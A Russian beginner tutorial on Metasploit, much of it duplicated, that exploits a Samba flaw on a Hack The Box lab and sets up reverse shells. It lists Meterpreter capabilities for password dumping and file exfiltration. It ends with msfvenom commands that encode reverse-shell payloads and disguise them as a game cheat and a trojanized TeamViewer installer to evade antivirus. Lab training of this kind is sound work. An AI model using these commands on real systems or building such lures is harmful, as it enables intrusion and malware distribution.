stihl не предоставил(а) никакой дополнительной информации.
В этой статье мы поговорим о Metasploit Framework (MSF) так, будто ты о нем впервые слышишь и хочешь разобраться с самого начала. Посмотрим, что это вообще такое и зачем нужно, изучим входящие в него инструменты и научимся ими пользоваться. В общем, это статья самого начального уровня, которых в «Хакере» многим читателям не хватает.
Да, Metasploit можно дополнять, но главная его фишка в том, что это, считай, готовый набор эксплоитов с удобной оболочкой. Запускаем, ищем нужный нам эксплоит, активируем его, а дальше — по ситуации. Если он сработал, то, счастливые, бежим повышать привилегии или выкачивать важные данные. Если нет, то пробуем другие полезные нагрузки или ищем другой эксплоит. Подробнее об этом поговорим дальше.
Сразу скажу, что Metasploit на сегодняшний день серьезно уступает конкурентам (PoshC2, Covenant, Sliver и другим). Слишком уж много в нем накопилось устаревших эксплоитов. Соответственно, и пентестить с ним лучше всего устаревшие приложения. Но для обучения Metasploit подходит отлично, поэтому с него и начнем.
Лично я использую его по большей части для генерации пейлоадов с помощью msfvenom, об этом тоже поговорим дальше.
Написан MSF на Ruby и взаимодействует с PostgreSQL. Эта инфа нам пригодится при запуске.
# Если PostgreSQL не установлена
# Проверяем, работает ли
# Запускаем
# Создаем базу данных для Metasploit
База данных нам нужна для управления рабочими пространствами.
Теперь запускаем сам Metasploit:
Поздравляю, вот ты и в Metasploit! Первым делом набирай help.
Для просмотра ссылки Войдиили Зарегистрируйся
Это все основные команды фреймворка, советую по ним пробежаться глазами.
Для просмотра ссылки Войдиили Зарегистрируйся
Дальше нам надо создать рабочее пространство, именно для него мы запускали PostgreSQL (а еще для того, чтобы Metasploit быстрее запускался).
# Отобразим текущее рабочее пространство (* default)
# Добавим рабочее пространство под названием Lame
# Переключимся на него
Для просмотра ссылки Войдиили Зарегистрируйся
Для чего нам рабочие пространства? В первую очередь — чтобы во время работы не запутаться. Целей бывает много, и Metasploit будет хранить полезную информацию для каждой из них. Например, сканы Nmap.
Кстати, давай сразу что‑нибудь посканим. Я выбрал в качестве цели лабу с Hack The Box под названием Lame.
Видим вот такой результат.
Для просмотра ссылки Войдиили Зарегистрируйся
Теперь вводим команду hosts.
Что ж, основную инфу мы сохранили. Теперь пройдемся по структуре Metasploit.
Для просмотра ссылки Войдиили Зарегистрируйся
Для просмотра ссылки Войдиили Зарегистрируйся
Важная ремарка: multi — значит для любой системы (если только для винды, будет windows, для Unix — unix и так далее).
Прежде чем читать дальше, тебе нужно выполнить простое задание:
В Kali это дефолтная папка Metasploit. Заходи в нее и пробуй походить по разделам и освоиться со структурой. Это потом пригодится.
Но вернемся к самому Metasploit. Первая команда, о которой нужно знать, — это search. Дальше просто вбиваем нужное нам название. У этой команды есть дополнительные параметры, пробежимся по самым важным из них:
Подробнее о возможностях поиска можешь узнать, набрав search -h.
Чтобы начать работать с модулем, тебе нужно выполнить команду use.
Для просмотра ссылки Войдиили Зарегистрируйся
Здесь 0 — это порядковый номер в списке вывода команды search.
Можно еще выбрать модуль вот такой командой:
use exploit/multi/samba/usermap_script
В качестве параметра указан полный путь до эксплоита.
Первое, что ты должен сделать после того, как перешел к модулю, — набрать команду info. Она отображает базовую информацию о модуле. Далее мы начинаем работать с самим модулем. Пишем
Это покажет основные настройки модуля.
Для просмотра ссылки Войдиили Зарегистрируйся
Давай разберемся, что это вообще за параметры:
Например:
Еще сразу запомни команду show payloads, она показывает нагрузки, которые можно применять с выбранным модулем. То есть мы можем поменять дефолтный пейлоад на тот, который захотим (разумеется, если он комбинируется). Например:
В нашем случае этот пейлоад не сработает, я показал его как пример. Ставим предыдущую нагрузку:
Теперь перед запуском программы перепроверяем все параметры:
Пишем run или exploit.
Для просмотра ссылки Войдиили Зарегистрируйся
Всё, мы внутри!
Казалось бы, тут можно и закончить статью. Но у Metasploit есть еще несколько очень интересных фич.
Для просмотра ссылки Войдиили Зарегистрируйся
Чтобы вернуться к сессии, пиши sessions -i [ID нужной сессии].
Сессии пригодятся тебе при работе с модулями из раздела POST. Предположим, у нас есть сессия с ID 10 и нам нужно найти всех пользователей на машине с Linux:
Всё корректно, можно запускать: run.
Для просмотра ссылки Войдиили Зарегистрируйся
Для начала советую запомнить несколько команд, которые пригодятся при работе с Meterpreter:
Пройдемся по параметрам:
Напоследок — небольшой список легких машинок с Hack The Box для отработки навыков: Lame, Legacy, Optimum, Arctik и Blue.
warning
Статья имеет ознакомительный характер и предназначена для обучения специалистов по безопасности. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.
Что такое Metasploit
Если ты занимался программированием, то наверняка знаешь, что фреймворк — это что‑то вроде каркаса, на основе которого можно разработать продукт. Но это не совсем наш случай.Да, Metasploit можно дополнять, но главная его фишка в том, что это, считай, готовый набор эксплоитов с удобной оболочкой. Запускаем, ищем нужный нам эксплоит, активируем его, а дальше — по ситуации. Если он сработал, то, счастливые, бежим повышать привилегии или выкачивать важные данные. Если нет, то пробуем другие полезные нагрузки или ищем другой эксплоит. Подробнее об этом поговорим дальше.
Сразу скажу, что Metasploit на сегодняшний день серьезно уступает конкурентам (PoshC2, Covenant, Sliver и другим). Слишком уж много в нем накопилось устаревших эксплоитов. Соответственно, и пентестить с ним лучше всего устаревшие приложения. Но для обучения Metasploit подходит отлично, поэтому с него и начнем.
Лично я использую его по большей части для генерации пейлоадов с помощью msfvenom, об этом тоже поговорим дальше.
Написан MSF на Ruby и взаимодействует с PostgreSQL. Эта инфа нам пригодится при запуске.
Запускаем MSF правильно
Предположим, что ты работаешь в Kali Linux, где MSF уже установлен. Также нам понадобится PostgreSQL.# Если PostgreSQL не установлена
sudo apt install postgresql
# Проверяем, работает ли
sudo service postgresql status
# Запускаем
sudo systemctl start postgresql
# Создаем базу данных для Metasploit
sudo msfdb init
База данных нам нужна для управления рабочими пространствами.
Теперь запускаем сам Metasploit:
msfconsole
Поздравляю, вот ты и в Metasploit! Первым делом набирай help.
Для просмотра ссылки Войди
Это все основные команды фреймворка, советую по ним пробежаться глазами.
Для просмотра ссылки Войди
Дальше нам надо создать рабочее пространство, именно для него мы запускали PostgreSQL (а еще для того, чтобы Metasploit быстрее запускался).
# Отобразим текущее рабочее пространство (* default)
workspace
# Добавим рабочее пространство под названием Lame
workspace -a Lame
# Переключимся на него
workspace Lame
Для просмотра ссылки Войди
Для чего нам рабочие пространства? В первую очередь — чтобы во время работы не запутаться. Целей бывает много, и Metasploit будет хранить полезную информацию для каждой из них. Например, сканы Nmap.
Кстати, давай сразу что‑нибудь посканим. Я выбрал в качестве цели лабу с Hack The Box под названием Lame.
db_nmap -sC -sV -A -Pn 10.129.45.31
Видим вот такой результат.
Для просмотра ссылки Войди
Теперь вводим команду hosts.
Что ж, основную инфу мы сохранили. Теперь пройдемся по структуре Metasploit.
Для просмотра ссылки Войди
Структура Metasploit
Metasploit состоит из семи разделов:- Exploits — это, считай, костяк фреймворка, он включает в себя эксплоиты на любой вкус и для любых платформ. О том, как они хранятся и как их искать, мы поговорим позже;
- Auxiliary — вспомогательные модули, служат не для эксплуатации, а скорее для обнаружения уязвимостей, как пример — Nmap;
- Post — постэксплуатация. То есть, когда систему уже ломанули, можем использовать штуки отсюда для работы с ней. По факту это тоже эксплоиты, но для системы, к которой у нас есть доступ;
- Payloads — полезные нагрузки. Это не эксплоиты, а скорее вредоносный код на все случаи жизни. Например, для получения обратного шелла;
- Encoders — кодировщики нагрузок. Призваны скрыть факт проникновения от антивируса или обойти службы безопасности;
- Nops — модули из этого раздела заставляют процессор ничего не делать в течение какого‑то времени;
- Evasion — уклонение от детекта. Сюда входят разные трюки для обхода Microsoft Defender, файрволов и прочих защит Windows. Я этот модуль не буду рассматривать, так как тема уже не совсем для новичков.
Для просмотра ссылки Войди
Важная ремарка: multi — значит для любой системы (если только для винды, будет windows, для Unix — unix и так далее).
Прежде чем читать дальше, тебе нужно выполнить простое задание:
cd /usr/share/metasploit-framework
В Kali это дефолтная папка Metasploit. Заходи в нее и пробуй походить по разделам и освоиться со структурой. Это потом пригодится.
Но вернемся к самому Metasploit. Первая команда, о которой нужно знать, — это search. Дальше просто вбиваем нужное нам название. У этой команды есть дополнительные параметры, пробежимся по самым важным из них:
- type — из какого раздела взять модуль;
- cve — поиск по базе CVE;
- platform — для какой платформы нужен эксплоит.
search type:exploit cve:2007 samba
Подробнее о возможностях поиска можешь узнать, набрав search -h.
Эксплуатация
Настало время что‑нибудь попентестить! Впрочем, не что‑нибудь, а все ту же машину Lame с Hack The Box, о которой я уже говорил. В этой лабе присутствует уязвимость CVE-2007-2447. Давай ее для начала найдем:
search CVE-2007-2447
Чтобы начать работать с модулем, тебе нужно выполнить команду use.
Для просмотра ссылки Войди
use 0
Здесь 0 — это порядковый номер в списке вывода команды search.
Можно еще выбрать модуль вот такой командой:
use exploit/multi/samba/usermap_script
В качестве параметра указан полный путь до эксплоита.
Первое, что ты должен сделать после того, как перешел к модулю, — набрать команду info. Она отображает базовую информацию о модуле. Далее мы начинаем работать с самим модулем. Пишем
show options
Это покажет основные настройки модуля.
Для просмотра ссылки Войди
Давай разберемся, что это вообще за параметры:
- RHOSTS — сюда будем вставлять апишник жертвы;
- RPORT — порт, который мы атакуем;
- Payload — нагрузка, которая будет использоваться. Обычно задана дефолтная, но иногда нужно будет менять;
- LHOST — наш локальный хост, куда будет приходить отстук;
- LPORT — порт, на который придет отстук.
set [параметр] значение
Например:
set RHOSTS 10.129.45.31
Еще сразу запомни команду show payloads, она показывает нагрузки, которые можно применять с выбранным модулем. То есть мы можем поменять дефолтный пейлоад на тот, который захотим (разумеется, если он комбинируется). Например:
set PAYLOAD payload/cmd/unix/reverse_python
В нашем случае этот пейлоад не сработает, я показал его как пример. Ставим предыдущую нагрузку:
set PAYLOAD payload/cmd/unix/reverse_netcat
Теперь перед запуском программы перепроверяем все параметры:
show options
info
Учти, что в некоторых эксплоитах будет мало просто указать RHOSTS и LHOST.
Параметры корректны, значит, можно запускать!
Пишем run или exploit.
Для просмотра ссылки Войди
Всё, мы внутри!
Казалось бы, тут можно и закончить статью. Но у Metasploit есть еще несколько очень интересных фич.
Сессии
Чтобы сохранить сессию в бэкграунд, можешь нажать Ctrl-Z. А чтобы проверить ее, введи команду sessions.Для просмотра ссылки Войди
Чтобы вернуться к сессии, пиши sessions -i [ID нужной сессии].
sessions -i 3
Сессии пригодятся тебе при работе с модулями из раздела POST. Предположим, у нас есть сессия с ID 10 и нам нужно найти всех пользователей на машине с Linux:
Код:
use post/linux/gather/enum_users_history
set session 10
show options
Всё корректно, можно запускать: run.
Для просмотра ссылки Войди
Пейлоады staged и non-staged
Было бы преступлением не упомянуть типы пейлоадов. Их тут два:- staged — содержит весь код нагрузки, ну например, весь код реверс‑шелла;
- non-staged — тут гораздо интереснее, такой пейлоад содержит код, который сам загружает полезную нагрузку на хост.
Meterpreter
Это версия командной оболочки Metasploit, но предназначенная для загрузки на машину‑жертву. Например, с ее помощью можно дампить пароли, подгружать и эксфильтровать файлы, сниффить, запускать исполняемые файлы и еще много чего веселого. Также ее трудно обнаружить стандартными средствами защиты.Для начала советую запомнить несколько команд, которые пригодятся при работе с Meterpreter:
- help — выводит все основные команды Meterpreter;
- run <scriptname> — запускает скрипт Meterpreter;
- upload <filename> — загружает файл на атакуемую машину;
- download <filename> — скачивает файл с атакуемой машины;
- shell — активирует обычную командную оболочку;
- execute — выполняет команду на целевой системе;
- ps — вывод всех процессов;
- sysinfo — инфа о системе, на которую мы забрались;
- getuid — отображает пользователя, от имени которого запущен Metasploit.
Msfvenom
Ну и наконец, поговорим о msfvenom. Это тулза для генерации пейлоадов (к слову, очень удобная). Например, нужно нам сгенерить бинарный реверс‑шелл для Linux. Делается это так:
Код:
msfvenom -p linux/x86/meterpreter/reverse_tcp \
LHOST=<твой_IP> LPORT=<твой_порт> \
-f elf -o CheatNaBrawlStars.elf -e x86/shikata_ga_nai
msfvenom -p linux/x86/meterpreter/reverse_tcp \
LHOST=<твой_IP> LPORT=<твой_порт> \
-x \~/Downloads/TeamViewer_Setup.exe \
-e x86/shikata_ga_nai -a x86 \
--platform windows \
-o TeamViewer_Setup.exe -i 100
Пройдемся по параметрам:
- -p — пейлоад;
- -f — расширение файла;
- -o — название файла;
- -e — шифрование, обфускация или кодировка;
- -x — путь к исполняемому файлу, он будет взят как основа для составления пейлоада, и это понизит вероятность обнаружения в несколько раз;
- -a — архитектура, под которую будет создан пейлоад;
- --platform — платформа, под которую будет создан пейлоад.
Выводы
На этом наш краткий экскурс закончен, не забудь сохранить рабочее пространство:db_export -f xml -a /путь/к/файлу.xml
Напоследок — небольшой список легких машинок с Hack The Box для отработки навыков: Lame, Legacy, Optimum, Arctik и Blue.